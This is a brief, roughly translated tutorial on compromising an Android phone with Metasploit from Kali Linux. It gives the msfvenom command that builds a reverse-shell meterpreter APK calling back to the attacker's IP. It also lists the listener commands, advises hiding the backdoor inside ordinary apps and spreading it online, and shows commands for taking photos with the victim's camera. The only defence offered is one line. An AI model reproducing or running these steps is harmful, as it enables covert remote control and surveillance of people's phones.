Demo using Metasploit intrusion Android

Text shows how to use Kali Linux to invade Android phones.

Kali Linux IP Address: 192.168.0.112; the port to which the connection is received: 443.

One Android Phone (Android 5.1) in the same LAN

Create a backdoor program

Execute in Terminal:

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=443 > my_backdoor.apk

This backdoor (APK) is sent to the victim; to replace the IP address of the above command with the attacker's IP, it attempts to connect to the IP when the backdoor is running.

Start metasploit-wait for the victim to start the backdoor program

msfconsole

Execute in turn:

msf > use exploit/multi/handler    > set payload android/meterpreter/reverse_tcp    > set lhost 192.168.0.112    > set lport 443    > exploit

Distributing Backdoor procedures

General backdoor procedures are packaged into the normal app, anyway is a variety of hidden;

Use the internet to distribute backdoor programs.

No more gossip, here I install apk running with backdoor on my Android phone.

Virus!!!

Control the victim's cell phone

After the victim runs the backdoor, it can use Metasploit to control him:

Use Help to view the commands you can use:

For example, take a photo with the other's camera:

> webcam_list> webcam_snap

How to prevent:

• Do not install the untrusted apk

Demo using Metasploit intrusion Android